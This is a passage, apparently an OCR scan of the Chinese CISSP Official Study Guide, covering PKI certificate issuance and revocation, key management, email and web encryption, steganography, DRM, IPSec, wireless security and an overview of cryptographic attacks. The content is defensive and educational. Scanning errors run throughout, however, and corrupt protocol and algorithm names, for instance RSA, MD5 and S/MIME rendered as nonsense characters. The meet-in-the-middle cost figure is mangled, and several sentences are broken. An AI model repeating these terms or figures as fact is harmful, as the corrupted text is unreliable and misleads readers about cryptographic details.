CPV 指的是: 从原始起点或可信根源至相关服务器或客户 端的证书路径 中 的每个证书都应 当考虑是
否有效与合法。 如果需要验证 "可信" 端点之间 的每个链接是否保持遥远、 有效和可信， 那 么 CPV
就十分重要。
当中间系统的证书过期或被替换时， 信任链或验证Z各径可能受到破坏， 由此就会引发上述问题。
通过实施所有信任阶段的重新验证， 就可以重新建立所有可信链接并证明假定的信任能够得到保证。
7.4.3 证书的生成与撤消
公钥基础设施背后的技术概念相当 简单。 在下面的 内容中， 我们将研究证书授权机构建立、 确
认和撤消客户 证书的过程。
1 . 注册
当希望获得一个数字证书时， 你必须首先采用某种方式向证书授权机构证明身份， 这个过程被
称为注册。 前一小节曾 经提到过， 这常常涉及携带正确的身份标识文档前往证书授权机构的代理处。
一些证书授权机构提供了 其他认证方法， 包括使用可信团体领导人提供的信用报告数据和身份认证。
一旦证书授权机构对你的身份表示满意， 你就可以 向其提供你的公钥 。 CA 接着建立一个包合
你的身份识别信息和公钥副本的 X.509 数字证书 。 CA 随后使用其私钥对证书进行数字化签名 ， 并
且向你提供己签名数字证书的副本。 最后， 你可以安全地将这个证书分发给希望与之进行安全通信
的人。
2 验证
当 收到来自希望与之通信的人的数字证书时， 就需要通过使用 CA 的公钥检查 CA 的数字签名
来验证这个证书 。 接着， 必须检查并确保证书并没有公布在证书撤消列表(Certificate Revocation List，
CRL)中 。 此时 ， 假如满足下列要求， 那么就可 以认定在证书中列出的公钥是可信的:
• CA 的数字签名 是可信的。
• 你信任 CA。
• 证书没有被列在 CRL 中 。
• 证书实际上包含你信任的 数据 。
最后一点很微妙， 但却是极其重要的要求。 在信任与某人有关的信息中 的身份识别内容之前，
应当确信这些内 容确实包含在证书中 。 如果某个证书包含电子邮件地址(billjones@foo.com)， 但是没
有个人的名字， 那么就只能够确信其中 包含的公钥与这个 电子邮件账户相关联。 CA 不能断定
billjones@foo.com 电子邮件账户 的实际身份。 然而， 如果证书包含名字 Bill Jones 以及地址和电话号
码 ， 那么 CA 也 同样担保这些 内容。
数字证书验证算法内建在许多流行的 Web 浏览器和 电子邮件客户端软件中， 因此不必常常涉及
这个特定的过程。 不过， 深入理解幕后的技术细节， 这对于为组织机构进行正确的安全性判断来说
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CISSP 官方学习指南(第 7 版)
是十分重要的。 当购买证书时， 应该选择一个被广泛信任的 CA。 这样做的理由是， 如果一款主流
的浏览器不接纳这个 CA 或将此 CA 从信任 CA 列表中移除， 这将极大限制所购买证书的使用 。
3. 撤消
有时， 证书授权机构会由于下列某种原因 需要撤消证书:
• 证书遭到破坏(例如， 证书所有者不慎丢失了私钥)。
• 证书被错误地发放(例如 ， CA 错误地发放了 一个没有进行正确验证的证书) 。
• 证书的细节发生变化(例如， 主体的名 字发生 了 变化)。
• 安全性关联发生变化(例如， 担保这份证书的组织机构不再雇用主体)。
提示 :
撤消请求宽限期是 CA 执行被请求的撤消证书 的 最长响应 时间， 这个时间在证书 实践声 明
(Certificate Practive Statement， CPS) 中 定义。 CPS 规定 了 发布和管理证书 时 CA 的利用 实践。
可 以使用 下列两种技术来验证证书的可靠性 以及确定撤消 的证书:
证书撤消列表 证书撤消列表(CRL)由不同的证书授权机构进行维护， 并且包含 CA 发布的 己
被撤消的证书的序列号以及撤消生效的 日 期和时间 。 证书撤消列表的主要缺点是它们必须定期下载
并交叉参照， 这样就会在证书被撤消和通知最终用户证书撤消之间存在一段时间延迟。 然而， CRL
仍然是今天检查证书状况的最常见方法。
联机证书状态协议(Online Certificate Status Protocol ， OCSP) 这个协议通过提供实时证书验
证方法消除 了认证撤消列表所带来的固有延迟。 当客户端收到一份证书时 ， 就会向 CA的OCSP 服
务器发送 OCSP 请求。 服务器随后回应这份证书的状态(有效、 无效或未知)。
7.4.4 非对称密钥 的管理
在 公钥基础设施 内 ， 通过遵守若干最佳方法需求来维护通信安全性是非常重要的 。
首先， 明智地选择加密系统。 前面曾经学习过， " 隐藏式安全" 不是一种适当的途径。 选择算法
公开的加密系统， 其算法必须经过行业专家的彻底检查。 慎重选择使用 " 黑箱 " 途径的加密系统和
维护算法的秘密性， 这对于密码系统的完整性来说至关重要。
必须以适当的方式选择密钥。 选择密钥长度时应当考虑、安全需求与性能之间的平衡。 此外， 应
当确认密钥真正随机。密钥内的任何模式都会增加攻击者破译加密和减弱密码系统安全性的可能性。
使用公钥加密时， 一定要保证私钥的机密性 ! 在任何情况下都不能允许其他人获知你的私钥。
需要记住的是， 偶尔允许某人访问 私钥， 会持久地危害使用该密钥加密的所有通信(无论是过去、 当
前还是将来)， 并且准许第三方能够成功地进行假冒。
密钥在服务一段时期后应当停止使用。 许多组织机构具有强制的密码轮换需求， 从而防止未被
发现的密钥泄露。 如果没有必须遵循的正式策略， 那么可以基于密钥的使用频率选择适当的密钥轮
换时 间间隔。 如果可能的话， 可 以几个月 更 改一 次密钥对。
最后， 备份密钥 ! 如果由于数据损坏、 崩 溃或其他情况丢失包含私钥的文件， 那么无疑希望具
有可用 的备份。 此时， 既可以创建自 己的备份， 也可以使用维护备份的密钥托管服务。 在任何情况
下 ， 都需要确保以安全的方式处理备份 。 毕竟， 备份与主密钥文件一样重要 !
第 7 章 PKI 和密码学应用
7.5 密码学的应用
到目前为止， 你 已经学习 了 与密码学的基础知识、 各种密码学算法的 内 部工作原理、 使用数字
证书分发身份证书的公钥基础设施的应用等有关的大量内容。 现在， 你应该掌握了 密码学的基础知
识 ， 下面将研究解决 日 常通信 问题的密码学技术的高级应用 。
在接下来的内容中， 我们将介绍用密码学来保护静态数据， 例如存储在便携式设备上的数据，
还有传输中 的数据 。 使用 的技术有: 保护 电子邮件、 加 密 Web 通信和 网络连接。
7.5. 1 便携式设备
现在 ， 笔记本电脑 、 上网本、 智能手机和平板电脑无处不在， 它们给计算世界带来了 新的风险。
这些设备往往包含高度敏感的信息， 如果丢失或被盗， 可能会给组织及其客户 、 员工和分支机构造
成严重伤害 。 基于这个原因 ， 许多组织转向加密来保护这些设备上的数据， 以防止它们被错误放置
和使用 。
目 前流行的操作系统版本都包括磁盘加密功能， 使其便于应用和管理便携式设备上的数据加密。
例如， 微软 Wmdows 包括 BitLocker 和加密文件系统但ncrypting File System， EFS)技术， Mac OS X
包含 FileVault 加密， TrueCrypt 的 开源软件包允许 Linux、 Windows 和 Mac 系统上的磁盘加密。
各种各样的商业工具可以提供额外的功能和管理能力。 这些工具之间 的主要区别在于它们是如
何保护存储在内存中 的密钥的， 它们是否提供完整的磁盘或卷加密， 以及是否将与基于硬件的可信
平台模块(frusted Platform Modul巳， TPM)进行集成并提供附加的安全性。 选择加密软件的任何努力
都应该包括对这些特性的分析。
提示 :
在开发使携式设备的力口密策略时不要忘 了 智能手机。 大多数主要的智能手非周口平板电脑平台 ，
都 包括企业级的功能， 从而 支持对存储在手机上的数据进行加密 。
7.5.2 电子邮件
我们前面曾经多次提到过， 安全性应当考虑成本效益。 对于电子邮件来说， 简 明就是成本效益
最高的选项， 不过有时 密码学提供了 无法避免使用 的特定安全服务。 因为保护安全也具有成本效益，
所 以加密 电子邮件需要遵守下列规则 :
• 如 果在发送邮件时需要实现机密性， 那么就加密邮件 。
• 如果需要维护邮件的完整性， 那么就必须对邮件进行散列运算。
• 如 果需要实现身份认证和完整性， 那么就应当对邮件进行数字化签名 。
• 如果需要实现机密性、 完整性、 身份认证和不可否认性， 那么就应当对邮件进行加密和数
字化签名 。
发送者总是需要负责确保实现正确的机制， 从而保证维护邮件或传输的安全性(也就是机密性、
完整性、 身份认证和不可否认性)与隐私性。
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CISSP 官方学习指南(第 7 版)
密码学最急需的一种应用是电子邮件的加密和签名 。 直到最近， 加密的 电子邮件仍然需要使用
复杂的、 笨拙的软件， 这些软件需要人工干预和复杂的密钥交换过程。 最近几年， 人们越来越重视
安全性， 这导致在主流电子邮件包中使用强的加密技术。 接下来， 我们将介绍 目 前广泛使用 的一些
电子邮件标准。
1 可靠隐私
1 99 1 年， Phi1 Zimmerman 的可靠隐私σGP)安全电子邮件系统出现在计算机安全领域内 。 它结
合了之前本章 "Web 信任" 概念里面的 CA 层级结构。 在这个概念中 ， 必须被一个或多个 PGP 用 户
信任才能开始使用该系统。 随后， 接受他们的关于额外用户 有效性的判断， 扩展开来， 你要信任来
自 初始信任判断的多级用户的 " Web"。
PGP 在广泛使用的最初遇到很多障碍。 最困难的障碍是美国政府的出 口 法令， 它将加密技术视
为军需品， 并且禁止向美国 以外的国家出 口 强加密技术。 幸运的是， 这项限制后来被取消了， 并且
PGP 可以 自 由地出 口 到大多数国家。
PGP有两个可用的版本。 商业版本使用RSAJ挂行密钥交换， 使用IDEAJ挂行加密/解密， 使用扎在D5
生成消息摘要。 免费版本则使用Diffie-Helhnan密钥交换、 Carlisle Adams/Stafford Tavares(CAST)1 28
位的加密/解密算法 以及SHA- 1散列函数。
许多商业机构也提供基于 PGP 的 电子邮件服务作为基于 Web 的云端邮件服务、 移动设备应用
程序或 Web 邮件插件。 这些服务通过可管理的邮件安全服务消除了复杂的加密证书配置和维护， 并
以此吸引 了 管理员和最终用户。 这一类 中的产品包括 S阳削ail、 Mai1velope、 SafeGmail 和 Hushmail。
2. S/MIME
安全多用途互联网邮件扩展(Secure Multipurpose Intemet Mail Extensions， S岛也伍)协议很可能
成为未来电子邮件加密工作的标准。 S岛也伍使用 RSA 加密算法， 并且己经得到包括 RSA 安全公
司在内 的业界主要机构的 支持 。 S/MIME 己经被合并到大量的商业产品中， 这些产品包括:
• Microsoft Outlook 丰日 Outlook Web Access
• Mozilla Thunderbird
• Mac OS X Mail
S瓜但h在E 依靠 X.509 证书交换密码系统密钥。 这些证书包含的公钥被用于数字签名和较长通信
会话中使用的对称密钥交换。 邸A 是 SIMIME支持的唯一一个公钥密码学协议， 这个协议支持 AES
和 3DES 对称加密算法。
尽管对 S岛也伍标准有强有力的产业支撑， 但技术的局限性阻碍了 它的广泛应用 。 虽然主要的
桌面邮件应用程序均支持 S岛皿在E 电子邮件， 但主流的基于 Web 的电子邮件系统不支持它(因为需
要扩展浏览器的使用)。
7.5.3 Web 应用
加密被广泛用于保护 Web 传输， 其主要原因在于电子商务发展的趋势以及电子商务供应商和用
户对通过 Web 安全交换财务信息。口信用 卡信息)的强烈愿望。 接下来， 我们将会介绍两种在 Web 浏
览器底部显示小锁图标的技术: 安全套接字(SSL)和安全传输层(TLS)协议。
第 7 章 PKI 和密码学应用
SSL 协议由 Netscape 公司开发， 提供对客户布ν服务器之间的网站流量进行加密的服务。 安全套
接宇层上的超文本传输协议但πPS)使用 443 端口在 Web 服务器和客户端浏览器之间协商加密通信
会话。 虽然 SSL 最初是 Netscape 为其浏览器开发的标准， 但是后来微软将其吸收并使其成为 Intemet
Exp10r巳r 浏览器的安全标准。 SSL 协议与这些产品 的集成使它成为事实上的 国 际标准。
SSL 依赖在浏览器与 Web 服务器之间交换数字证书以协商加密/解密参数。 SSL 协议的 目 标是
建立安全的通信通道， 使整个 Web 浏览器会话保持开放。 它取决于对称和非对称加密的组合。 具体
过程涉及 以下步骤:
(1) 当用户访问一个网站时， 浏览器检索 W出 服务器的证书， 并从中提取服务器的公共密钥。
(2) 然后， 浏览器创建一个随机的对称密钥， 使用服务器的公钥来加密， 然后将加密的对称密
钥 发送到服务器上。
(3) 随后， 服务器使用 自 己的私钥解密对称密钥， 这两个系统使用对称加密密钥来交换未来的
交 互信息。
这种方法允许 SSL 利用非对称加密技术的先进功能， 在大多数数据交换的加密和解密中使用 更
快 的对称算法。
1 999 年 ， 安全工程师在发布 SSL 第三版时 ， 提出 了 将 TLS 作为 SSL 标准的替换。 与 SSL 一样，
TLS 使用 TCP 端 口 443。基于 SSL 技术， TLS 包含了 许多安全增强功能并最终被大多数应用所采用 ，
替代了 SSL。 早期版本的 TLS 在通信双方都不支持 TLS 时可以降级支持 SSL V3.0。 然而， 在 2011
年 TLS v1.2 不再支持向 后兼容性。
20 14 年 ， 被称为 " 贵宾犬" (POODLE)的攻击表明在 TLS 的 SSL 3.0 反馈机制中存在重大缺陷。
为 了修复这个漏洞 ， 很多机构完全放弃对 SSL 的支持， 并且现在唯 一依靠 TLS 的 安全性。
提示 :
尽管 TLS 已经存在 了 1 0 多 年， 许多人仍将其误称为 SSL. 由 于这个原 因 ， TLS 也获得了 SSL 3.l
的 昵称。
隐写术和水印
隐写术(steganography)是使用密码学技术在另 一条消息内嵌入秘密泊'息的方法。这种算法是通过
修改组成图像文件的数据中最不重要的数据位进行工作的。 变化非常微小， 以至于对图像的浏览没
有明显的影响。 这种技术允许通信双方以简单的方式隐藏消息， 例如在其他人毫无察觉的情况下，
在 Web 页面的插图里嵌入秘密的消息。
隐写术通常在图像或 WAV 文件内 嵌入秘密消息。 这些文件往往很大 ， 因此即使最认真的检查
人员也难 以发现秘密的消息。 隐写术通常用于非法或可疑活动 ， 例如商业间谍和儿童色情 。
然而隐写术也能用于合法用途。 将数字水印加入到文档中 ， 以保护知识产权就是通过隐写术完
成的。 只 有文件的创建者知道隐藏的信息。 如果有人创建了 内容的非法拷贝， 水印就可以用来检测
拷 贝并且(如通过独特的水印文件提供给原始收件人)跟踪拷贝来源 。
隐写术是一个非常简单的技术， 可 以使用 网上公开免费的工具。 图 7.2 显示了一个这样的工具
一一iSteg。 只 需要指定一个包含秘密信息的文本文件和希望用来隐藏信息的图像文件。 图 7.3 显示
了 一张嵌入了秘密消息的图片， 该 消息是不可能用人眼检测到的。
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CISSP 官方学习指南(第 7 版)
000 iSteg
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V 1.6.1
图 7.2 隐写术工具
图 7.3 嵌入了秘密消息的图像
7.5.4 数字版权管理(DRM)
数字版权管理(Digital Rights Management， DR岛。软件使用加密来加强对数字媒体版权的限制 。
在过去 1 0 年中 ， 出版商试图在各种媒体类型， 包括音乐、 电影和书籍中部署 D邸4 方案。 在许多情
况下， 尤其是音乐 ， 反对者遇到 DRM 部署都会激烈反对， 并认为 DRM 的使用侵犯了他们 自 由地
享受合法授权媒体文件和制作备份的权利 。
1 74
第 7 章 PKI 和密码学应用
注意 :
在你学习这些 内容时， 许多 商业机构正试图部署基本上普遍失败的 DRM， 因 为用 户 拒绝该技
术并把它看成一种入侵和/或 阻塞。
1 . 音乐 DRM
多年来音乐界一直在与盗版斗争， 时间可以追溯到 自制的磁带拷贝、 压缩光盘和数字格式的 日
子 。 音乐发行公司试 图利用各种 DRM 方案， 但在消 费者 的压 力下 ， 大 多数技术都取消 了 。
对于使用 D邸f 技术的音乐作品销量急剧下降这种情况， 苹果公司收回了他们通过 iTlll1es 商店
出售的使用 FairPlay DRM 的音乐作品 。 苹果联合创始人史蒂夫 · 乔布斯的这一举动为后面的事情埋
下 了伏笔。 2007 年， 他发表了 一封公开信， 呼吁音乐公司允许苹果公司销售免费的 DRM音乐作品。
那封信的部分内容如下:
第三个选择就是完全地废弃 D邸4 技术。 想象一下， 世界上的每个在线商店销售 着开放格式编
码的免 费 DRM 音乐 。 在这样一个世界里， 任何使用 者能够播放从任何商店 购 买 的音乐， 任何商店
都 出 售可以在任何播放器上播放的音乐。 这显然是消 费者最好的选择， 苹果公司 会在 内 心拥抱这一
时代。 如果 4 大唱 片 公司 投权苹果公司 他们的不受 D邸4保护的音乐作品， 我们将在 iTlll1es 上只销
售免费 的 DRM 音乐。 每一个 iPod 将只 能播放这种免费的 DRM 音 乐 。
那封信 的 完整版在苹果公司 的网站上 己 经看不到 了 ， 不 过可 以从以下 网 址获得完整版:
http://bit.ly/l TyBm5e 。
目前， DRM在音乐中 的主要应用是对于基于订阅 的服务， 例如 Napster 和 Kazaa， 当用户订阅
期结束时 ， 用 DRM 取消用 户 访 问和下载音乐。
注意 :
对 DRM 技术的描述在这段文字 中似乎看起来有点模糊? 这里有一个原因: 厂 商通常不会透露
他们 DRM 功能的细节 ， 因 为 担心盗版者会利用 这些信息使 DRM 方案失效。
2. 电影 DRM
电影业多年来已经使用各种 DRM 方案来解决电影盗版的全球性问题。 用 于保护大众传播媒体
的 主要技术有 以下两种:
内容混乱系统(Content Scrambling System， CSS) 限制 DVD 的 回放以及对使用 区域的限制。
这种加密方案是用一个叫作 DeCSS 的工具， 在 Linux 系统中 启 用 CSS 来保护内容的回放。
高级内容访问系统(Advanced Access Content System， AACS) 保护存储在蓝光HD DVD 上
的 媒体内容。 黑客则展示获得 AACS 加 密密钥的攻击并将它们张贴在互联网上。
电影制作商和黑客今天继续着猫捉老鼠的游戏: 媒体公司试图保护他们的 内容， 而黑客企图持
续访问未加密的拷贝 。
3 电子书 DRM
也许 D邸4 技术最成功的应用就是图书文献的出版。 当今大多数电子书使用某种形式的数字版
权管理， 这些技术也通过 DRM 功 能来保护 出 版商产生的敏感文档 。
1 75
CISSP 官方学习指南(第 7 版)
提示 :
今天， 所有使用 中 的 D邸4 方案都存在一个致命的缺陷: 用 于访问 内 容的设备必须获得解密密
钥 。 如果解密密钥存储在终端用 户 所拥有的设备上， 用 户 总是有机会操作该设备以获得访问密钥。
Adobe 系统通过 Adobe 的数字体验保护技术(Adobe Digita.l Experience Protection TI巳chnology，
ADEPT) ， 为 出售电子书提供多种格式的 D肌技术。 ADEPT 使用相结合的 AES 技术对媒体内 容进
行加密并用 RSA 加密受保护的 AES 密钥。 许多 电子书阅读器， 除了亚马逊的 白ndle， 都使用这项
技术来保护 自 己的内容。 亚马逊的 Kindle 电子阅读器使用 多种格式的图书分发版， 每个都包含自 己
的加密技术 。
4. 视频游戏 DRM
许多视频游戏使用这样一种 DRM 技术， 控制台使用 一台运行的互联网云服务器来验证游戏的
许可。 这些技术， 例如育碧的 Uplay， 需要恒定的互联网连接来激活游戏。 如果玩家失去了连接，
游戏将停止运行。
201 0 年3月， Uplay 系统受到拒绝服务攻击， 使全球的 Uplay 游戏玩家因为之前的功能设置，
使得他们的主机不能访问 Uplay 服务器， 从而不能玩游戏。 这导致公众的强烈抗议， 随后育碧取消
了 持续连接的要求， 将 DRM 方式更改为控制 台 上的游戏只 需要初始激活就 允许无限制使用 。
5. 文档 DRM
虽然 DRM 技术最常见的用途是保护娱乐 内容， 但组织还是可以使用 DRM 保护存储在 PDF 文
件、 办公文档 以及其他格式中 的敏感信息的安全性。 商业 D邸4 产品 ， 如 Vitrium 和 FileOpen ， 使用
加 密来保护源代码的内容， 并帮助组织细致地控制文件版权。
这里是一些文档 DRM 解决方案常见的权限限制 :
• 阅读文件
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• 修改文件的内容
• 去除文件中的水 印
• 下 载/保存文件
• 打印文件
• 文件 内容的截图
DRM 解决方案允许组织在需要时授予他们版权， 在不再需要时进行撤消 ， 甚至是在规定的时
间 到期后版权 自 动失效。
7.5.5 网络连接
本章我们要探讨的最后一个密码学应用是使用密码学算法提供网络连接服务。 在这一节中， 我
们将简要介绍两种用于保护通信线路安全的方法: IPSec 和 网络安全关联密钥管理协议(Intemet
Security Association and Key Management Protoco!' ISAKMP) ， 此外还会讨论一些与无线网络有关的
安全 问题。
第7章 PKI 和密码学应用
1 . 链路加密
安全管理人员使用两种类型的加 密技术来保护在网络上传输的数据的安全:
• 链路加密使用软件或硬件解决方案在两个点之间建立一条安全隧道， 对进入隧道一端的所
有通信数据都进行加密， 并且对流出隧道另一端的所有通信数据都进行解密 ， 从而保护整
条通信线路的安全。 例如， 某公司通过一条数据线连接两个办公室， 可以使用链路加密技
术来防止攻击者在两个办公室之间 的某一点进行的监控活动 。
• 端到端加密用于保护双方仰的日 ， 客户 端和服务器)之间 的通信安全， 并且可以独立于链路加
密实施 。 在发送者和接收者之间传递使用 PGP 的邮件， 就是端到端加密的例子。 这种技术
可 以阻止入侵者监控加密链路安全端的传输数据或者通过未加密链路传送的数据。
链路加密和端到端加密技术之间的关键差异在于: 在链路加密中 ， 所有的数据(包括头、 尾、 地
址和路由数据)也会被加密， 因此每个数据包必须在每一跳(each hop)都被解密， 这样数据包才能被
正确地路由至下一跳， 然后数据包在继续发送之前又被重新加密， 这就降低了路由 的速度。 端到端
加密技术不加密头、 尾、 地址和路由数据， 因此数据包从一点移到另一点的速度加快了 ， 但是这种
技术更容易 遭到嗅探器和偷听者的攻击。
当加密发生在 OSI 模型的较高层时， 通常会使用端到端加密技术; 如果加密发生在 OSI 模型的
较低层， 通常会使用链路加密技术。
安全外壳(SSl却是端到端加密技术的一个很好的例子。 这组程序提供常见的网络应用服务(如
盯P、 Telnet 和 rlo自1)的加密可选方案。 SSH 实际上有两个版本: SSHl(现在被认为是不安全的)支持
DES、 3DES、 IDEA 和 Blowfish 算法， SSH2 不支持 DES 和 IDEA， 但是增加了对其他一些算法的
支持。
2. I PSec
人们 目 前使用 了 多种安全体系结构， 每一种都被设计用于解决不同环境中的安全问题。 网络协
议安全(IPSec)标准就是这样一种支持安全通信的体系结构。 IPSec 是由互联网工程任务组(IETF膊立
的标准体系结构， 并且能够在两个实体之间建立信息交换的安全信道。
通过 IPSec 进行通信的两个实体可以是两个系统、 两个路由器、 两个网关或任何实体组合。 尽
管 IPSec 一般情况下被用于连接两个网络， 但是 IPSec 也可以被用于连接单独的计算机， 例如一个
服务器和一个工作站， 或者一对工作站(可能是发送者和接收者)0 IPSec 并不规定所有的实现细节，
而是一个开放的模块化架构， 从而允许很多供应商、 软件开发人员开发能与其他供应商的产品共同
使用 的 IPSec 解决方案。
IPSec 通过公钥密码学来提供加密 、 访问控制 、 不可否认性以及消息身份认证， 井且一般使用
E 协议。 IPSec 主要被用于虚拟专用网。rpN)， 因此可 以工作在运输模式或隧道模式中。 IPSec 通常
与二层隧道协议(L2TP)在一起， 成为 L2TP/IPSec。
IPSec 协议为安全网络通信提供了 完整的基础设施。 IPSec 已经得到广泛认可， 并且现在许多商
业性的操作系统中也提供了这个协议。 IPSec 依赖于安全关联， 井且存在下列两个主要组件 :
• 身份验证头(Authentication Header， Al却提供消息完整性和不可否认性的保证。 AH 还提供身
份认证和访 问 控制 ， 并且可 以 防止重放攻击。
• 安全封装有效载荷(Encapsulating Security Payload， ESP)提供数据包内容的机密性和完整性。
ESP 还提供加密和有限的 身份认证 ， 并且可 以防止重放攻击。
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CISSP 官方学 习指南(第 7 版)
注意 :
ESP 也提供某些有限的身4挝人证， 但是达不到 AH 的程度。 虽 然 ESP 有时可以在没有 AH 的情
况下使用 ， 但是在没有 ESP 的 情况下 ， AH 几乎不会羊独使用 。
IPSec 提供两种分离的操作模式。 当 IPSec 在运输模式中使用时， 只 有数据包有效载荷被加密，
这种模式为对等通信而设计。 当 IPSec 在隧道模式中使用时， 整个数据包(包括头)都会被加密， 这个
模式为网 关间通信而设计。
提示 :
IPSec 在现代计算机安全中是一个极其重要的概念。 你一定要熟悉如上所述的组成协议以及
IPSec 操作模式。
在运行时， 通过创建安全关联(SecurityAssociation， SA)来建立 IPSec 会话。 SA 表示通信会话，
井且记录与特定连接有关的任何配置和状态信息。 SA 表示单一连接。 如果期望双向信道， 那么就
需要两个 SA， 每个方向分别使用一个 SA。 此外， 如果希望支持使用 AH 和 ESP 的双向信道， 那么
就需要建立 4个SA。
某些 IPSec 的最大强度就来自于能够在每个 SA 的基础上过滤或管理通信， 这样一来， 就可以
严格管理其间存在安全关联的客户端或网关(即哪些类型的协议或服务可以使用 IPSec 连接)。 此外，
如果没有定义有效的 安全关联， 那么一对用户或网 关就无法建立 IPSec 链接。
有关 IPS巳c 算法的详细信息 ， 请参考第 1 1 章 " 安全网络架构与保护网络组件 " 中 的 内容。
3. ISAKMP
网络安全关联密钥管理协议(lSAKMP)通过协商、 建立、 修改和删除安全关联为IPSec提供后台
的安全支持服务。 正如你在前面一节中学到的那样， IPSec依赖于安全关联的系统。 这些安全关联通
过使用ISAKMP进行管理。 正如在IntemetRFC 2408 中阐述的一样， ISAKMP具有下列 4 个基本要求:
• 对通信对等方进行身份认证
• 建立并管理安全关联
• 提供密钥生成机制
• 防 止遭受威胁(例如， 重放和拒绝服务攻击)
4. 无线互联
无线网络被迅速广泛地来用 ， 并且造成了 巨大的安全风险。 许多传统网络没有为本地网络主机
之间的路由通信实施加密技术， 并且根据假设认为: 攻击者需要通过取得安全位置内 网线的物理访
问 ， 从而在网络上进行偷昕非常困难。 然而， 无线网络通过在空中传送数据， 所以非常容易遭受中
途数据拦截的攻击 。 有两个主要的无线安全类型:
有线等价隐私 安全团体最初通过引入有线等价隐私队Tired Equivalent Privacy， WEP)提供 64
和 128 位的加密边工页， 从而保护无线 LAN 内 的通信。 IEEE 802. 1 1 中将 WEP 描述为无线网络连接
标准的一个可选组件。
警告 :
现在的 密码分析攻击 已经证明 WEP 算法中存在显著的缺陷 ， 这可能导致在短时间 内 完全破坏
第 7 章 PKI 和密码学应用
使用 WEP 保护的网络的安全性. 一定不要斗却有 WEP 加密来保护无线网 络。 事实上， 在存储网络上
使用 WEP 加密会导致许多 安全事件， 例如 TJX 安全违规事件(在 2007 年广 为人知)。 再次重中 ， 一
定不要在无线 网 络上使用 WEP 加密。
WiFi 安全访问 通过实现临时密钥完整性协议(Temporal Key Integrity Protocol， TKIP)并消除危
害 W凹 的密码学弱点 ， WPA(WiFi Protected Access)改进了 WEP 加密。 通过将 TKIP 替换为 AES 加
密算法， WPA2 进一步改善了 WPA 技术。 这两种技术都是适合现代无线 网络使用 的安全算法。
警告 :
需要记住的是， WPA 并不提供端到端的安全解决方案。 WPA 只对笔记本电脑和最近的无线接
入点之间 的传输数据进行力口密。 一旦传输数据到达有线网络， 数据就会被解密 。
IEEE 802. 1x 是另一种常用 的无线安全标准， 它为有线和无线 网络中的身份认证和密钥管理提供
了 灵活的架构 。 为了使用 802.1x， 客户端需要运行被称为 supplicant 的软件。 supplicant 软件与身份
认证服务器进行通信 。 成功进行身份认证之后 ， 网络交换机或无线接入点就允许客户端访问无线网
络 。 WPA 被设计为与 802. 1x 身 份认证服务器进行交互。
7.6 密码学攻击
与任何安全机制一样， 心怀恶意的个人已经找到了 许多击败密码系统的攻击方法。 你要了解各
种不同 的密码学攻击所引 起的威胁 ， 从而使系统的风险降低到最小 ， 这是非常重要的 。
分析攻击 这是一种试图降低算法复杂性的代数运算。 分析攻击关注于算法本身的逻辑'性。
实现攻击 这种攻击类型利用密码学系统的实现中的弱点， 关注于对软件代码的利用 ， 不仅仅
涉及错误与缺陷 ， 而且还涉及编写加密系统程序所使用 的方法。
统计攻击 统计攻击利用密码系统中 的统计弱点， 例如无法生成随机数和浮点错误。 统计攻击
试图发现驻留密码学应用程序的硬件或操作系统中的漏洞。
蛮力攻击 蛮力攻击十分简单 。 这种攻击尝试每种可能的、 有效的密钥或密码组合。 蛮力攻击
涉及使用大规模的处理能力 ， 对保护通信安全的密钥进行有系统的猜测 。
针对没有缺点的协议， 通过蛮力攻击发现密钥所需的平均时间与密钥的长度成正比。 如果具有
足够的时间， 蛮力攻击总是会成功。 密钥长度每增加一位， 由于潜在的密钥数加倍， 因此执行蛮力
攻击的时间也会加倍。
有两种方法可使攻击者提升蛮力攻击的效果:
• 彩虹表提供预先计算的密码散列值， 这些通常用于破解以密码散列方式存储的系统中的
密码。
• 专为蛮力攻击设计和开发的专业化的、 可扩展的计算硬件将大大提高这种攻击方法的效率。
加盐保存的密码
盐可能会对你的健康有害， 但它可以保存你的密码 ! 为协助打击蛮力攻击的使用 ， 包括那些通
过字典和彩虹表辅助 的 蛮力 攻击 ， 密码学 家使用 了 一种称为 "加密盐" 的技术。
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CISSP 官方学 习指南(第 7 版)
力口密盐是在操作系统对密码进行哈希计算前， 将随机值添加到密码的最后面。 然后 ， 将盐与其
哈希值一同存储在密码文件中。 当 操作系统要将用 户 提供的 密码与 密码文件进行比对时， 首先检索
盐并将其添加到 密码中 。 斗科主接的值输入到哈希函数， 并将得到 的哈希值与存储在密码文件中 的哈
希值进行比较。
要去掉额外的随机值会很麻烦， 这极大地增加了 蛮力 攻击的难度， 任何试图建立彩虹表的人都
必须 为 每一个可能的加密盐的值建立一个单独的表。
频率分析和仅知密文攻击 在许多情况下， 你唯一拥有的信息是加密后的密文信息， 即所谓的
仅知密文攻击。 在这种情况下， 频率分析就是一种 己证明可行的对抗简单密码的技术。 它计算每个
字母出现在密文中的次数。 使用你掌握的知识， 宇母 E、 T、 0、 A、 I和N是最常见的英语字母，
可 以测试几个假设:
• 如果这些字母在密文中 最常见， 这个密码可能是移位密码， 只 是重新排列明文字符但不改
变它们 。
• 如 果其他字母在密文中最常见， 密码可能是某种形式的置换密码并代替明文字符。
这是对频率分析的简单概述， 这个技术的众多复杂的变种可以用来对付多表密码和其他复杂的
密码。
已知明文攻击 在 己知明文攻击中， 攻击者具有己加密消息的副本以及用于产生密文(副本)的
明文消息。 知道了这些消息， 可以极大地帮助攻击者破解较弱的编码 。 例如， 如果拥有同一条消息
的明文和密文副本， 那么破解第 6 章 中介绍 的凯撒密码就是一件很容易 的事 。
选定密文攻击 在选定密文攻击中 ， 攻击者能够解密所选的部分密文消息 ， 并且可以使用 己解
密 的那部分消息来发现密钥。
选定明文攻击 在选定明文攻击中 ， 攻击者能够加密所选的明文消息， 随后可以分析加密算法
输出的密文。
中间相遇攻击 攻击者可以使用 中 间相遇攻击击败使用两轮加密的加密算法。 这种攻击导致双
重 DES(2DES)很快被抛弃， 并且转而使用三重 DES(3DES)这种增强的 DES 加密技术。
在 中间相遇攻击中 ， 攻击者使用 己知的明文消息。 然后， 使用每一种可能的密钥(kl)加密明文，
同时使用所有可能的密钥(k2)解密相当 的密文。 当发现存在匹配时， 相应的密钥对(kl， k2)就代表了
双重加密的两个部分。 这种类型的攻击通常只 需花费破解一轮加密算法(或 20， 而不是预计的 2n* 2n)
所需时间 的两倍， 一轮加密算法提供了 最小 强度的附加保护措施。
中 间人攻击 在 中间人攻击中， 怀有恶意的人置身于通信双方之间的位置并截获所有的通信(包
括密码学会话的设置)。 攻击者对始发者的初始化请求做出响应， 井且建立与始发者的安全会话。 然
